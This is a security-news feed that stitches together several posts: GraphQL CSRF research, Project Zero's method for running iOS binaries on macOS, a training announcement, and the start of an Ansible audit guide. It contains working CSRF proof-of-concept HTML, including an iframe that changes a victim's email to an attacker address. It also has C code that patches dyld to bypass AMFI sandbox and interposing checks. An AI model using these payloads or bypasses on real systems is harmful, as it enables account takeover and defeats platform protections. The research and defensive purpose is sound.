The post Reverse Engineering & Exploiting Dell CVE-2021-21551 appeared first on VoidSec.

That single GraphQL issue that you keep missing

19 May 2021 at 22:00

With the increasing popularity of GraphQL on the web, we would like to discuss a particular class of vulnerabilities that is often hidden in GraphQL implementations.

GraphQL what?

GraphQL is an open source query language, loved by many, that can help you in building meaningful APIs. Its major features are:

  • Aggregating data from multiple sources
  • Decoupling the data from the database underneath, through a graph form
  • Ensuring input type correctness with minimal effort from the developers

CSRF eh?

Cross Site Request Forgery (CSRF) is a type of attack that occurs when a malicious web application causes a web browser to perform an unwanted action on the behalf of an authenticated user. Such an attack works because browser requests automatically include all cookies, including session cookies.

GraphQL CSRF: more buzzword combos please!

POST-based CSRF

POST requests are natural CSRF targets, since they usually change the application state. GraphQL endpoints typically accept Content-Type headers set to application/json only, which is widely believed to be invulnerable to CSRF. As multiple layers of middleware may translate the incoming requests from other formats (e.g. query parameters, application/x-www-form-urlencoded, multipart/form-data), GraphQL implementations are often affected by CSRF. Another incorrect assumption is that JSON cannot be created from urlencoded requests. When both of these assumptions are made, many developers may incorrectly forego implementing proper CSRF protections.

The false sense of security works in the attacker’s favor, since it creates an attack surface which is easier to exploit. For example, a valid GraphQL query can be issued with a simple application/json POST request:

POST /graphql HTTP/1.1
Host: redacted
Connection: close
Content-Length: 100
accept: */*
User-Agent: ...
content-type: application/json
Referer: https://redacted/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ...

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

It is common, due to middleware magic, to have a server accepting the same request as form-urlencoded POST request:

POST /graphql HTTP/1.1
Host: redacted
Connection: close
Content-Length: 72
accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://redacted
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ...

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Which a seasoned Burp user can quickly convert to a CSRF PoC through Engagement Tools > Generate CSRF PoC

shell.showItemInFolder
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://redacted/graphql" method="POST">
      <input type="hidden" name="query" value="&#123;&#10;&#32;&#32;user&#32;&#123;&#10;&#32;&#32;&#32;&#32;firstName&#10;&#32;&#32;&#32;&#32;&#95;&#95;typename&#10;&#32;&#32;&#125;&#10;&#125;&#10;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

While the example above only presents a harmless query, that’s not always the case. Since GraphQL resolvers are usually decoupled from the underlying application layer they are passed, any other query can be issued, including mutations.

GET Based CSRF

There are two common issues that we have spotted during our past engagements.

The first one is using GET requests for both queries and mutations.

For example, in one of our recent engagements, the application was exposing a GraphiQL console. GraphiQL is only intended for use in development environments. When misconfigured, it can be abused to perform CSRF attacks on victims, causing their browsers to issue arbitrary query or mutation requests. In fact, GraphiQL does allow mutations via GET requests.

shell.showItemInFolder

While CSRF in standard web applications usually affects only a handful of endpoints, the same issue in GraphQL is generally system-wise.

For the sake of an example, we include the Proof-of-Concept for a mutation that handles a file upload functionality:

<!DOCTYPE html>
<html>
<head>
    <title>GraphQL CSRF file upload</title>
</head>
	<body>
		<iframe src="https://graphql.victimhost.com/?query=mutation%20AddFile(%24name%3A%20String!%2C%20%24data%3A%20String!%2C%20%24contentType%3A%20String!) %20%7B%0A%20%20AddFile(file_name%3A%20%24name%2C%20data%3A%20%24data%2C%20content_type%3A%20%24contentType) %20%7B%0A%20%20%20%20id%0A%20%20%20%20__typename%0A%20%20%7D%0A%7D%0A&variables=%7B%0A %20%20%22data%22%3A%20%22%22%2C%0A%20%20%22name%22%3A%20%22dummy.pdf%22%2C%0A%20%20%22contentType%22%3A%20%22application%2Fpdf%22%0A%7D"></iframe>
	</body>
</html>

The second issue arises when a state-changing GraphQL operation is misplaced in the queries, which are normally non-state changing. In fact, most of the GraphQL server implementations respect this paradigm, and they even block any kind of mutation through the GET HTTP method. Discovering this type of issues is trivial, and can be performed by enumerating query names and trying to understand what they do. For this reason, we developed a tool for query/mutation enumeration.

During an engagement, we discovered the following query that was issuing a state changing operation:

req := graphql.NewRequest(`
	query SetUserEmail($email: String!) {
		SetUserEmail(user_email: $email) {
			id
			email
		}
	}
`)

Given that the id value was easily guessable, we were able to prepare a CSRF PoC:

<!DOCTYPE html>
<html>
	<head>
		<title>GraphQL CSRF - State Changing Query</title> 
	</head>
	<body>
		<iframe width="1000" height="1000" src="https://victimhost.com/?query=query%20SetUserEmail%28%24email%3A%20String%21%29%20%7B%0A%20%20SetUserEmail%28user_email%3A%20%24email%29%20%7B%0A%20%20%20%20id%0A%20%20%20%20email%0A%20%20%7D%0A%7D%0A%26variables%3D%7B%0A%20%20%22id%22%3A%20%22441%22%2C%0A%20%20%22email%22%3A%20%22attacker%40email.xyz%22%2C%0A%7D"></iframe>
	</body>
</html>

Despite the most frequently used GraphQL servers/libraries having some sort of protection against CSRF, we have found that in some cases developers bypass the CSRF protection mechanisms. For example, if graphene-django is in use, there is an easy way to deactivate the CSRF protection on a particular GraphQL endpoint:

urlpatterns = patterns(
    # ...
    url(r'^graphql', csrf_exempt(GraphQLView.as_view(graphiql=True))),
    # ...
)

CSRF: Better Safe Than Sorry

Some browsers, such as Chrome, recently defaulted cookie behavior to be equivalent to SameSite=Lax, which protects from the most common CSRF vectors.

Other prevention methods can be implemented within each application. The most common are:

  • Built-in CSRF protection in modern frameworks
  • Origin verification
  • Double submit cookies
  • User interaction based protection
  • Not using GET request for state changing operations
  • Enhanced CSRF protection to GET request too

There isn’t necessarily a single best option for every application. Determining the best protection requires evaluating the specific environment on a case-by-case basis.

Rumbling The XS-Search

In XS-Search attacks, an attacker leverages a CSRF vulnerability to force a victim to request data the attacker can’t access themselves. The attacker then compares response times to infer whether the request was successful or not.

For example, if there is a CSRF vulnerability in the file search function and the attacker can make the admin visit that page, they could make the victim search for filenames starting with specific values, to confirm for their existence/accessibility.

Applications which accept GET requests for complex urlencoded queries and demonstrate a general misunderstanding of CSRF protection on their GraphQL endpoints represent the perfect target for XS-Search attacks.

XS-Search is quite a neat and simple technique which can transform the following query in an attacker controlled binary search (eg. we can enumerate the users of a private platform):

query {
	isEmailAvailable(email:"[email protected]") {
		is_email_available
	}
}

In HTTP GET form:

GET /graphql?query=query+%7B%0A%09isEmailAvailable%28email%3A%22foo%40bar.com%22%29+%7B%0A%09%09is_email_available%0A%09%7D%0A%7D HTTP/1.1
Accept-Encoding: gzip, deflate
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Host: redacted
Content-Length: 0
Content-Type: application/json
Cookie: ...

The implications of a successful XS-Search attack on a GraphQL endpoint cannot be overstated. However, as previously mentioned, CSRF-based issues can be successfully mitigated with some effort.

Automate Everything!!!

As much as we love finding bugs the hard way, we believe that automation is the only way to democratize security and provide the best service to the community.

For this reason and in conjunction with this research, we are releasing a new major version of our GraphQL InQL Burp extension.

InQL v4 can assist in detecting these issues:

  • By identifying various classes of CSRF through new “Send to Repeater” helpers:

    • GET query parameters
    • POST form-data
    • POST x-form-urlencoded
  • By improving the query generation

shell.showItemInFolder

Something for our beloved number crunchers!

We tested for the aforementioned vulnerabilities in some of the top companies that make use of GraphQL. While the research on these ~30 endpoints lasted only two days and no conclusiveness nor completeness should be inferred, numbers show an impressive amount of unpatched vulnerabilities:

  • 14 (~50%) were vulnerable to some kind of XS-Search, equivalent to a GET-based CSRF
  • 3 (~10%) were vulnerable to CSRF

TL;DR: Cross Site Request Forgery is here to stay for a few more years, even if you use GraphQL!

References

Fuzzing iOS code on macOS at native speed

By: Ryan
20 May 2021 at 17:07

Or how iOS apps on macOS work under the hood

Posted by Samuel Groß, Project Zero

This short post explains how code compiled for iOS can be run natively on Apple Silicon Macs.

With the introduction of Apple Silicon Macs, Apple also made it possible to run iOS apps natively on these Macs. This is fundamentally possible due to (1) iPhones and Apple Silicon Macs both using the arm64 instruction set architecture (ISA) and (2) macOS using a mostly compatible set of runtime libraries and frameworks while also providing /System/iOSSupport which contains the parts of the iOS runtime that do not exist on macOS. Due to this, it should be possible to run not just complete apps but also standalone iOS binaries or libraries on Mac. This might be interesting for a number of reasons, including:

  • It allows fuzzing closed-source code compiled for iOS on a Mac
  • It allows dynamic analysis of iOS code in a more “friendly” environment

This post explains how this can be achieved in practice. The corresponding code can be found here and allows executing arbitrary iOS binaries and library code natively on macOS. The tool assumes that SIP has been disabled and has been tested on macOS 11.2 and 11.3. With SIP enabled, certain steps will probably fail.

We originally developed this tool for fuzzing a 3rd-party iOS messaging app. While that particular project didn’t yield any interesting results, we are making the tool public as it could help lower the barrier of entry for iOS security research.

The Goal

The ultimate goal of this project is to execute code compiled for iOS natively on macOS. While it would be possible to achieve this goal (at least for some binaries/libraries) simply by swapping the platform identifier in the mach-o binary, our approach will instead use the existing infrastructure for running iOS apps on macOS. This has two benefits:

  1. It will guarantee that all dependent system libraries of the iOS code will exist. In practice, this means that if a dependent library does not already exist on macOS, it will automatically be loaded from /System/iOSSupport instead
  2. The runtime (OS services, frameworks, etc.) will, if necessary, emulate their iOS behavior since they will know that the process is an iOS one

To start, we’ll take a simple piece of C source code and compile it for iOS:

> cat hello.c

#include <stdio.h>

int main() {

    puts("Hello from an iOS binary!");

    return 0;

}

> clang -arch arm64 hello.c -o hello -isysroot \

/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk

> file hello

hello: Mach-O 64-bit executable arm64

> otool -l hello

Load command 10

      cmd LC_BUILD_VERSION

  cmdsize 32

 platform 2           # Platform 2 is iOS

    minos 14.4

      sdk 14.4

   ntools 1

     tool 3

  version 609.8

The Kernel

Attempting to execute the freshly compiled binary (on macOS 11.2) will simply result in

> ./hello

[1]    13699 killed     ./hello

While the exit status informs us that the process was terminated through SIGKILL, it does not contain any additional information about the specific reason for that. However, it does seem likely that the process is terminated by the kernel during the execve(2) or posix_spawn(2) syscall. And indeed, the crash report generated by the system states:

Termination Reason:    EXEC, [0xe] Binary with wrong platform

This error corresponds to EXEC_EXIT_REASON_WRONG_PLATFORM in the kernel, and that constant is only referenced in a single function: check_for_signature:

static int

check_for_signature(proc_t p, struct image_params *imgp)

{

    …;

#if XNU_TARGET_OS_OSX

        /* Check for platform passed in spawn attr if iOS binary is being spawned */

        if (proc_platform(p) == PLATFORM_IOS) {

                struct _posix_spawnattr *psa = imgp->ip_px_sa;

                if (psa == NULL || psa->psa_platform == 0) {

                    …;

                            signature_failure_reason = os_reason_create(OS_REASON_EXEC,

                                        EXEC_EXIT_REASON_WRONG_PLATFORM);

                            error = EACCES;

                            goto done;

                } else if (psa->psa_platform != PLATFORM_IOS) {

                        /* Simulator binary spawned with wrong platform */

                        signature_failure_reason = os_reason_create(OS_REASON_EXEC,

                            EXEC_EXIT_REASON_WRONG_PLATFORM);

                        error = EACCES;

                        goto done;

                } else {

                        printf("Allowing spawn of iOS binary %s since

                            correct platform was passed in spawn\n", p->p_name);

                }

        }

#endif /* XNU_TARGET_OS_OSX */

    …;

}

This code is active on macOS and will execute if the platform of the to-be-executed process is PLATFORM_IOS. In essence, the code checks for an undocumented posix_spawn attribute, psa_platform, and in the absence of it (or if its value is not PLATFORM_IOS), will terminate the process in the way we have previously observed.

As such, to avoid EXEC_EXIT_REASON_WRONG_PLATFORM, it should only be necessary to use the undocumented posix_spawnattr_set_platform_np syscall to set the target platform to PLATFORM_IOS, then invoke posix_spawn to execute the iOS binary:

    posix_spawnattr_t attr;

    posix_spawnattr_init(&attr);

    posix_spawnattr_set_platform_np(&attr, PLATFORM_IOS, 0);

    posix_spawn(&pid, binary_path, NULL, &attr, argv, environ);

Doing that will now result in:

> ./runner hello

...

[*] Child exited with status 5

No more SIGKILL, progress! Exit status 5 corresponds to SIGTRAP, which likely implies that the process is now terminating in userspace. And indeed, the crash report confirms that the process is crashing sometime during library initialization now.

Userspace

At this point we have a PLATFORM_IOS process running in macOS userspace. The next thing that now happens is that dyld, the dynamic linker, starts mapping all libraries that the binary depends on and executes any initializers they might have. Unfortunately, one of the first libraries now being initialized, libsystem_secinit.dylib, tries to determine whether it should initialize the app sandbox based on the binary’s platform and its entitlements. The logic is roughly:

initialize_app_sandbox = False

if entitlement(“com.apple.security.app-sandbox”) == True:

    initialize_app_sandbox = True

if active_platform() == PLATFORM_IOS &&

   entitlement(“com.apple.private.security.no-sandbox”) != True:

    initialize_app_sandbox = True

As such, libsystem_secinit will decide that it should initialize the app sandbox and will then contact secinitd(8), “the security policy initialization daemon”, to obtain a sandbox profile. As that daemon cannot determine the app corresponding to the process in question it will fail, and libsystem_secinit.dylib will then abort(3) the process:

(lldb) bt

* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BREAKPOINT

  * frame #0: libsystem_secinit.dylib`_libsecinit_appsandbox.cold.5

    frame #1: libsystem_secinit.dylib`_libsecinit_appsandbox

    frame #2: libsystem_trace.dylib` ...

    frame #3: libsystem_secinit.dylib`_libsecinit_initializer

    frame #4: libSystem.B.dylib`libSystem_initializer

    frame #5: libdyld.dylib`...

    frame #6: libdyld.dylib`...

    frame #7: libdyld.dylib`dyld3::AllImages::runLibSystemInitializer

    frame #8: libdyld.dylib`...

    frame #9: dyld`...

    frame #10: dyld`dyld::_main

    frame #11: dyld`dyldbootstrap::start

    frame #12: dyld`_dyld_start + 56

As a side note, logic like the above will turn out to be a somewhat common theme: various components responsible for the runtime environment will have special handling for iOS binaries, in which case they tend to enforce various policies more aggressively.

One possible way to solve this would be to sign the iOS binary with a self-signed (and locally trusted) code signing certificate and granting it the “com.apple.private.security.no-sandbox” entitlement. This would then cause libsystem_secinit to not attempt to initialize the app sandbox. Unfortunately, it seems that while AppleMobileFileIntegrity (“amfi” - the OS component implementing various security policies like entitlement and code signing checks) will allow macOS binaries to be signed by locally-trusted code-signing certificates if SIP is disabled, it will not do so for iOS binaries. Instead, it appears to enforce roughly the same requirements as on iOS, namely that the binary must either be signed by Apple directly (in case the app is downloaded from the app store) or there must exist a valid (i.e. one signed by Apple) provisioning profile for the code-signing entity which explicitly allows the entitlements. As such, this path appears like a dead end.

Another way to work around the sandbox initialization would be to use dyld interposing to replace xpc_copy_entitlements_for_self, which libsystem_secinit invokes to obtain the process’ entitlements, with another function that would simply return the “com.apple.private.security.no-sandbox” entitlement. This would in turn prevent libsystem_secinit from attempting to initialize the sandbox.

Unfortunately, the iOS process is subject to further restrictions, likely part of the “hardened runtime” suite, which causes dyld to disable library interposing (some more information on this mechanism is available here). This policy is also implemented by amfi, in AppleMobileFileIntegrity.kext (the kernel component of amfi):

__int64 __fastcall macos_dyld_policy_library_interposing(proc *a1, int *a2)

{

  int v3; // w8

  v3 = *a2;

  ...

  if ( (v3 & 0x10400) == 0x10000 )   // flag is set for iOS binaries

  {

    logDyldPolicyRejection(a1, "library interposing", "Denying library interposing for iOS app\n");

    return 0LL;

  }

  return 64LL;

}

As can be seen, AMFI will deny library interposing for all iOS binaries. Unfortunately, I couldn’t come up with a better solution for this than to patch the code of dyld at runtime to ignore AMFI’s policy decision and thus allow library interposing. Fortunately though, doing lightweight runtime code patching is fairly easy through the use of some classic mach APIs:

  1. Find the offset of _amfi_check_dyld_policy_self in /usr/lib/dyld, e.g. with nm(1)
  2. Start the iOS process with the POSIX_SPAWN_START_SUSPENDED attribute so it is initially suspended (the equivalent of SIGSTOP). At this point, only dyld and the binary itself will have been mapped into the process’ memory space by the kernel.
  3. “Attach” to the process using task_for_pid
  4. Find the location of dyld in memory through vm_region_recurse_64
  5. Map dyld’s code section writable using vm_protect(VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY) (where VM_PROT_COPY is seemingly necessary to force the pages to be copied since they are shared)
  6. Patch  _amfi_check_dyld_policy_self through vm_write to simply return 0x5f (indicating that dyld interposing and other features should be allowed)
  7. Map dyld’s code section executable again

To be able to use the task_for_pid trap, the runner binary will either need the “com.apple.security.cs.debugger” entitlement or root privileges. However, as the runner is a macOS binary, it can be given this entitlement through a self-signed certificate which amfi will then allow.

As such, the full steps necessary to launch an iOS binary on macOS are:

  1. Use the posix_spawnattr_set_platform_np API to set the target platform to PLATFORM_IOS
  2. Execute the new process via posix_spawn(2) and start it suspended
  3. Patch dyld to allow library interposing
  4. In the interposed library, claim to possess the com.apple.security.cs.debugger entitlement by replacing xpc_copy_entitlements_for_self
  5. Continue the process by sending it SIGCONT

This can now be seen in action:

> cat hello.c

#include <stdio.h>

int main() {

    puts("Hello from an iOS binary!");

    return 0;

}

> clang -arch arm64 hello.c -o hello -isysroot \

/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk interpose.dylib

> ./runner hello

[*] Preparing to execute iOS binary hello

[+] Child process created with pid: 48302

[*] Patching child process to allow dyld interposing...

[*] _amfi_check_dyld_policy_self at offset 0x54d94 in /usr/lib/dyld

[*] /usr/lib/dyld mapped at 0x1049ec000

[+] Successfully patched _amfi_check_dyld_policy_self

[*] Sending SIGCONT to continue child

[*] Faking no-sandbox entitlement in xpc_copy_entitlements_for_self

Hello from an iOS binary!

[*] Child exited with status 0

Fuzzing

With the ability to launch iOS processes, it now becomes possible to fuzz existing iOS code natively on macOS as well. I decided to use Honggfuzz for a simple PoC of this that also used lightweight coverage guidance (based on the Trapfuzz instrumentation approach). The main issue with this approach is that honggfuzz uses the combination of fork(2) followed by execve(2) to create the child processes, while also performing various operations, such as dup2’ing file descriptors, setting environment variables, etc after forking but before exec’ing. However, the iOS binary must be executed through posix_spawn, which means that these operations must be performed at some other time. Furthermore, as honggfuzz itself is still compiled for macOS, some steps of the compilation of the target binary will fail (they will attempt to link previously compiled .o files, but now the platform no longer matches) and so have to be replaced. There are certainly better ways to do this (and I encourage the reader to implement it properly), but this was the approach that I got to work the quickest.

The hacky proof-of-concept patch for honggfuzz can be found here. In addition to building honggfuzz for arm64, the honggfuzz binary is subsequently signed and given the “com.apple.security.cs.debugger” entitlement in order for task_for_pid to work.

Conclusion

This blog post discussed how iOS apps are run on macOS and how that functionality can be used to execute any code compiled for iOS natively on macOS. This in turn can facilitate dynamic analysis and fuzzing of iOS code, and thus might make the platform a tiny bit more open for security researchers.

 

Attachment 1: runner.c

// clang -o runner runner.c

// cat <<EOF > entitlements.xml

// <?xml version="1.0" encoding="UTF-8"?>

// <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"\>

// <plist version="1.0">

// <dict>

//     <key>com.apple.security.cs.debugger</key>

//     <true/>

// </dict>

// </plist>

// EOF

// # Find available code signing identities using `security find-identity`

// codesign -s "$IDENTITY" --entitlements entitlements.xml runner

//

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

#include <dlfcn.h>

#include <signal.h>

#include <unistd.h>

#include <spawn.h>

#include <sys/wait.h>

#include <mach/mach_init.h>

#include <mach/vm_map.h>

#include <mach/vm_page_size.h>

#define page_align(addr) (vm_address_t)((uintptr_t)(addr) & (~(vm_page_size - 1)))

#define PLATFORM_IOS 2

extern char **environ;

extern int posix_spawnattr_set_platform_np(posix_spawnattr_t*, int, int);

void instrument(pid_t pid) {

    kern_return_t kr;

    task_t task;

    puts("[*] Patching child process to allow dyld interposing...");

    // Find patch point

    FILE* output = popen("nm -arch arm64e /usr/lib/dyld  | grep _amfi_check_dyld_policy_self", "r");

    unsigned int patch_offset;

    int r = fscanf(output, "%x t _amfi_check_dyld_policy_self", &patch_offset);

    if (r != 1) {

        printf("Failed to find offset of _amfi_check_dyld_policy_self in /usr/lib/dyld\n");

        return;

    }

    printf("[*] _amfi_check_dyld_policy_self at offset 0x%x in /usr/lib/dyld\n", patch_offset);

   

    // Attach to the target process

    kr = task_for_pid(mach_task_self(), pid, &task);

    if (kr != KERN_SUCCESS) {

        printf("task_for_pid failed. Is this binary signed and possesses the com.apple.security.cs.debugger entitlement?\n");

        return;

    }

    vm_address_t dyld_addr = 0;

    int headers_found = 0;

    vm_address_t addr = 0;

    vm_size_t size;

    vm_region_submap_info_data_64_t info;

    mach_msg_type_number_t info_count = VM_REGION_SUBMAP_INFO_COUNT_64;

    unsigned int depth = 0;

    while (1) {

        // get next memory region

        kr = vm_region_recurse_64(task, &addr, &size, &depth, (vm_region_info_t)&info, &info_count);

        if (kr != KERN_SUCCESS)

            break;

        unsigned int header;

        vm_size_t bytes_read;

        kr = vm_read_overwrite(task, addr, 4, (vm_address_t)&header, &bytes_read);

        if (kr != KERN_SUCCESS) {

            // TODO handle this, some mappings are probably just not readable

            printf("vm_read_overwrite failed\n");

            return;

        }

        if (bytes_read != 4) {

            // TODO handle this properly

            printf("[-] vm_read read to few bytes\n");

            return;

        }

        if (header == 0xfeedfacf) {

            headers_found++;

        }

        if (headers_found == 2) {

            // This is dyld

            dyld_addr = addr;

            break;

        }

        addr += size;

    }

    if (dyld_addr == 0) {

        printf("[-] Failed to find /usr/lib/dyld\n");

        return;

    }

    printf("[*] /usr/lib/dyld mapped at 0x%lx\n", dyld_addr);

    vm_address_t patch_addr = dyld_addr + patch_offset;

    // VM_PROT_COPY forces COW, probably, see vm_map_protect in vm_map.c

    kr = vm_protect(task, page_align(patch_addr), vm_page_size, false, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY);

    if (kr != KERN_SUCCESS) {

        printf("vm_protect failed\n");

        return;

    }

   

    // MOV X8, 0x5f

    // STR X8, [X1]

    // RET

    const char* code = "\xe8\x0b\x80\xd2\x28\x00\x00\xf9\xc0\x03\x5f\xd6";

    kr = vm_write(task, patch_addr, (vm_offset_t)code, 12);

    if (kr != KERN_SUCCESS) {

        printf("vm_write failed\n");

        return;

    }

    kr = vm_protect(task, page_align(patch_addr), vm_page_size, false, VM_PROT_READ | VM_PROT_EXECUTE);

    if (kr != KERN_SUCCESS) {

        printf("vm_protect failed\n");

        return;

    }

    puts("[+] Successfully patched _amfi_check_dyld_policy_self");

}

int run(const char** argv) {

    pid_t pid;

    int rv;

    posix_spawnattr_t attr;

    rv = posix_spawnattr_init(&attr);

    if (rv != 0) {

        perror("posix_spawnattr_init");

        return -1;

    }

    rv = posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED);

    if (rv != 0) {

        perror("posix_spawnattr_setflags");

        return -1;

    }

    rv = posix_spawnattr_set_platform_np(&attr, PLATFORM_IOS, 0);

    if (rv != 0) {

        perror("posix_spawnattr_set_platform_np");

        return -1;

    }

    rv = posix_spawn(&pid, argv[0], NULL, &attr, argv, environ);

    if (rv != 0) {

        perror("posix_spawn");

        return -1;

    }

    printf("[+] Child process created with pid: %i\n", pid);

    instrument(pid);

    printf("[*] Sending SIGCONT to continue child\n");

    kill(pid, SIGCONT);

    int status;

    rv = waitpid(pid, &status, 0);

    if (rv == -1) {

         perror("waitpid");

        return -1;

    }

    printf("[*] Child exited with status %i\n", status);

    posix_spawnattr_destroy(&attr);

    return 0;

}

int main(int argc, char* argv[]) {

    if (argc <= 1) {

        printf("Usage: %s path/to/ios_binary\n", argv[0]);

        return 0;

    }

    printf("[*] Preparing to execute iOS binary %s\n", argv[1]);

    return run(argv + 1);

}

Attachment 2: interpose.c

// clang interpose.c -arch arm64 -o interpose.dylib -shared -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk

#include <stdio.h>

#include <unistd.h>

typedef void* xpc_object_t;

extern xpc_object_t xpc_dictionary_create(void*, void*, int);

extern void xpc_dictionary_set_value(xpc_object_t, const char*, xpc_object_t);

extern xpc_object_t xpc_bool_create(int);

extern xpc_object_t xpc_copy_entitlements_for_self();

// From https://opensource.apple.com/source/dyld/dyld-97.1/include/mach-o/dyld-interposing.h.auto.html

/*

 *  Example:

 *

 *  static

 *  int

 *  my_open(const char* path, int flags, mode_t mode)

 *  {

 *    int value;

 *    // do stuff before open (including changing the arguments)

 *    value = open(path, flags, mode);

 *    // do stuff after open (including changing the return value(s))

 *    return value;

 *  }

 *  DYLD_INTERPOSE(my_open, open)

 */

#define DYLD_INTERPOSE(_replacment,_replacee) \

   __attribute__((used)) static struct{ const void* replacment; const void* replacee; } _interpose_##_replacee \

            __attribute__ ((section ("__DATA,__interpose"))) = { (const void*)(unsigned long)&_replacment, (const void*)(unsigned long)&_replacee };

xpc_object_t my_xpc_copy_entitlements_for_self() {

    puts("[*] Faking com.apple.private.security.no-sandbox entitlement in interposed xpc_copy_entitlements_for_self");

    xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);

    xpc_dictionary_set_value(dict, "com.apple.private.security.no-sandbox", xpc_bool_create(1));

    return dict;

}

DYLD_INTERPOSE(my_xpc_copy_entitlements_for_self, xpc_copy_entitlements_for_self);

Next Windows Kernel Programming Training

22 May 2021 at 18:31

Today I’m announcing the next public remote Windows Kernel Programming training. This is a 5-day training scheduled for October: 4, 5, 7, 11, 13. Times: 12pm to 8pm, London Time.

The syllabus can be found here. It may be slightly modified by the time the class starts, but not by much. This is a development-heavy course, so be prepared to write lots of code!

Cost: 800 USD if paid by an individual, 1500 USD if paid by a company. Previous participants of the my classes get 10% discount. Multiple participants from the same company are entitled to a discount (email me for the details).

To register, send an email to [email protected] and specify “Windows Kernel Programming Training” in the title. The email should include your name, preferred email for communication, and company name (if any).

The training sessions will be recorded and provided to the participants.

Please read carefully the pre-requisites for this class. You should especially be comfortable coding in C (any C++ used in the class will be explained). In case of any doubt, talk to me.
If you have any questions, feel free to shoot me an email, or DM me on twitter (@zodiacon) or Linkedin (https://www.linkedin.com/in/pavely/).

Kernel2

zodiacon

Hack Series: Is your Ansible Package Configuration Secure?

In our client assessment work hacking software and cloud systems of all types, we’re often asked to look into configuration management tools such as Ansible. In this post we’ll deep dive into what package management vulnerabilities in the world of Ansible look like. First we’ll recap what Ansible is, provide some tips for security pros to debug it at a lower level, and explore both a CVE in the dnf module and an interesting gotcha in the apt module.

To ensure we’re always looking out for DevSecOps and aiding defenders, our next post in this series will touch on the strengths and weaknesses of tools like Semgrep for catching vulnerabilities in Ansible configurations.

Ansible

Ansible is an open source, Python-based, configuration management tool developed by Red Hat. It enables DevOps and other system maintainers to easily write automation playbooks, composed of a series of tasks in YAML format, and then run those playbooks against targeted hosts. A key feature of Ansible is that it is agentless: the targeted hosts don’t need to have Ansible installed, just Python and SSH. The machine running the playbook (“control node” in Ansible speak) copies the Python code required to run the tasks to the targeted hosts (“managed nodes”) over SSH, and then executes that code remotely. Managed nodes are organized into groups in an “inventory” for easy targeting by playbooks.

codingpackets.com

In 2019 Ansible was the most popular cloud configuration management tool. While the paradigm of “immutable infrastructure” has led to more enthusiasm for choosing Terraform and Docker for performing several tasks that previously might have been done by Ansible, it is still an immensely popular tool for provisioning resources, services, and applications.

Ansible provides a large number of built-in modules, which are essentially high-level interfaces for calling common system commands like apt, yum, or sysctl. The modules are Python files that do the work of translating the specified YAML tasks into the commands that actually get executed on the managed nodes. For example, the following playbook contains a single Ansible task which uses the apt module to install NGINX on a Debian-based system. Normally an Ansible playbook would be run against a remote host, but in our examples we are targeting localhost for illustrative purposes:

- name: Sample Apt Module Playbook
  hosts: localhost
  become: yes
  become_user: root
  tasks:
    - name: ensure nginx is installed
      apt:
        name: nginx
        state: present

To understand better what this playbook is doing under the hood, let’s use a debugging technique that will come in useful when we look at vulnerabilities later. Since Ansible doesn’t natively provide a way to see the exact commands getting run, we can use a handy strace invocation. strace allows us to follow the flow of system calls that this playbook triggers when run normally under ansible-playbook, even as Ansible forks off multiple child processes (“-f” flag), so we can view the command that ultimately gets executed:

$ sudo strace -f -e trace=execve ansible-playbook playbook.yml 2>&1 | grep apt
[pid 11377] execve("/usr/bin/apt-get", ["/usr/bin/apt-get", "-y", "-o", "Dpkg::Options::=--force-confdef", "-o", "Dpkg::Options::=--force-confold", "install", "nginx"], 0x195b3e0 /* 33 vars */) = 0

Using both strace command line options ("-e trace=execve“) and the grep as filters, we are making sure that irrelevant system calls are not output to the terminal; this avoids the noise of all the setup code that both Ansible and the apt module need to run before finally fulfilling the task. Ultimately we can see that the playbook runs the command apt-get install nginx, with a few extra command line flags to automate accepting confirmation prompts and interactive dialogues.

If you are following along and don’t see the apt-get install command in the strace output, make sure NGINX is uninstalled first. To improve performance and prevent unwanted side-effects, Ansible first checks whether a task has already been achieved, and so returns early with an “ok” status if it thinks NGINX is already in the installed state.

Top 10 Tips for Ansible Security Audits

As shown, Ansible transforms tasks declared in simple YAML format into system commands often run as root on the managed nodes. This layer of abstraction can easily turn into a mismatch between what a task appears to do and what actually happens under the hood. We will explore where such mismatches in Ansible’s built-in modules make it possible to create configuration vulnerabilities across all managed nodes.

But first, let’s take a step back and contextualize this by running through general tips if you are auditing an Ansible-managed infrastructure. From an infrastructure security perspective, Ansible does not expose as much attack surface as some other configuration management tools. SSH is the default transport used to connect from the control node to the managed nodes, so Ansible traffic takes advantage of the sane defaults, cryptography, and integration with Linux servers that the OpenSSH server offers. However, Ansible can be deployed in many ways, and best practices may be missed when writing roles and playbooks. Here are IncludeSec’s top 10 Ansible security checks to remember when reviewing a configuration:

  1. Is an old version of Ansible being used which is vulnerable to known CVEs?
  2. Are hardcoded secrets checked into YAML files?
  3. Are managed nodes in different environments (production, development, staging) not appropriately separated into inventories?
  4. Are the control nodes which Ansible is running from not completely locked down?
  5. Are unsafe lookups which facilitate template injection enabled?
  6. Are SSHD config files using unrecommended settings like permitting root login or enabling remote port forwarding?
